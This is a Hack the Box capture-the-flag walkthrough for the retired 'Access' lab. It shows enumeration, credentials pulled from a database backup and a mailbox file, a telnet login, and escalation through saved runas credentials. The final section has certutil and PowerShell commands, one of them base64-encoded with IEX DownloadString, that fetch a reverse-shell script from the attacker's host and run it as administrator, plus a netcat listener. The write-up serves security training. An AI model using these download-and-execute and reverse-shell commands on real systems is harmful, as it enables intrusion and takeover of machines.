HTB – Access

Today we are going to solve another CTF challenge “Access”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.

Level: Easy

Task: To find user.txt and root.txt file

Note: Since these labs are online available therefore they have a static IP. The IP of Access is 10.10.10.98.

As always we will start with nmap to scan for open ports and services :

root@kali:~/htb/access# nmap -sC -sV -oA nmap 10.10.10.98
# Nmap 7.70 scan initiated Thu Feb 28 11:52:45 2019 as: nmap -sC -sV -oA nmap 10.10.10.98
Nmap scan report for 10.10.10.98
Host is up (0.026s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 425 Cannot open data connection.
| ftp-syst: 
|_ SYST: Windows_NT
23/tcp open telnet?
80/tcp open http Microsoft IIS httpd 7.5
| http-methods: 
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: MegaCorp
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Feb 28 11:55:58 2019 -- 1 IP address (1 host up) scanned in 193.18 seconds

Nmap tells us that there’s ftp running on port 21 , telnet on port 23 and http on port 80. It also tells us that we can login anonymously to ftp. Let’s look at http first.


HTTP Enumeration

We get this page titled as “MegaCorp” and it only has this image :

Sub directories enumeration with gobuster and common.txt(/usr/share/wordlists/dirb/common.txt in kali) only gave us 2 pages , /aspnet_clientand /index.html

/aspnet_client gave us 403 Forbidden :

And /index.html is of course the main page we saw earlier :

So now we know that http has nothing , Next thing to check is ftp


FTP Enumeration

Nmap told us earlier that anonymous login on ftp was allowed , After we login we find 2 directories Backups and Engineer

In Backups there is only one file called backup.mdb , we will type binary to set the transfer mode to binary , so we won’t get a corrupted file. Then get backup.mdb to download it :

And in Engineer there’s a file called Access Control.zip :


Extracting credentials from backup.mdb and getting User

backup.mdb is a Microsoft Access Database , we can check using file :

We need mdbtools to deal with this database , it can be installed with apt

apt-get install mdbtools

We will use mdb-tables to get the table names :

There’s an interesting table named auth_user , We will use mdb-export to get the contents of that table :

mdb-export backup.mdb auth_user 

And it gave us some credentials :

admin : admin

engineer : access4u@security

backup_admin : admin

By looking at the other zip file we will find a file called Access Control.pst and it’s a password protected file.

We already have 2 passwords : admin and access4u@securityaccess4u@security is the right password.

Access Control.pst is a Microsoft Outlook email folder :

We can use a tool called readpst to be able to read the file :

readpst Access\ Control.pst 

It will create another file called Access Control.mbox , Let’s cat that file :

The very first thing we see is this email which has credentials for an account called security , password : 4Cc3ssC0ntr0ller

Let’s telnet into the box with those credentials :

root@kali:~/htb/access# telnet 10.10.10.98
Trying 10.10.10.98...
Connected to 10.10.10.98.
Escape character is '^]'.
Welcome to Microsoft Telnet Service

login: security 
password:4Cc3ssC0ntr0ller

*===============================================================
Microsoft Telnet Server.
*===============================================================
C:\Users\security>cd desktop

C:\Users\security\Desktop>type user.txt
ff1*****d38
C:\Users\security\Desktop>

Runas and Privilege Escalation

As always we will start enumerating the file system , There are only 3 users on the box Administrator , Public and security.

We are in as security and we can’t go into Administrator’s directory so let’s check Public.

In the Desktop of Public there’s a lnk called ZKAccess3.5 Security System.

Let’s type it and see what’s inside it :

Of course not the best output , because it’s a lnk file not a txt file , but we can read some stuff , and we notice that there’s a runas command being excuted as administrator. runas allows us to run commands as another user and the option /savecred allows us to use the command without asking for password. Looking into Public’s desktop is not necessary to know that, we can check by executing net user administrator

Password required is set to No , If this was set to Yes we wouldn’t be able to use runas as administrator without knowing the password , However that lnk file on Public’s desktop was a nice hint.

Now we can run a simple HTTP server on our box with python

c:\Python37>python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.98 - - [28/Feb/2019 19:38:58] "GET /puckieshell443.ps1 HTTP/1.1" 200 -
c:\Users\Public>certutil -urlcache -split -f http://10.10.14.20/puckieshell443.ps1
c:\Users\Public>runas /user:administrator /savecred "powershell -ExecutionPolicy ByPass -File C:\Users\Public\puckieshell443.ps1"
C:\Users\jacco>nc -lvp 443
listening on [any] 443 ...
10.10.10.xx: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.98] 49167: NO_DATA
Windows PowerShell running as user Administrator on HTB
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>whoami
HTB\administrator
PS C:\Windows\system32> cd C:\users\Administrator\Desktop
PS C:\users\Administrator\Desktop> type root.txt
6e1*****4cf

root@kali:~/htb/access# echo -n "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.20/puckieshell53.ps1')" | iconv --to-code UTF-16LE | base64 -w 0
SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMgAwAC8AcAB1AGMAawBpAGUAcwBoAGUAbABsADUAMwAuAHAAcwAxACcAKQA=
c:\Users\Public> runas /user:ACCESS\administrator /savecred "powershell -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMgAwAC8AcAB1AGMAawBpAGUAcwBoAGUAbABsADUAMwAuAHAAcwAxACcAKQA="

Author : Jacco Straathof

refence used : https://0xrick.github.io/hack-the-box/access/

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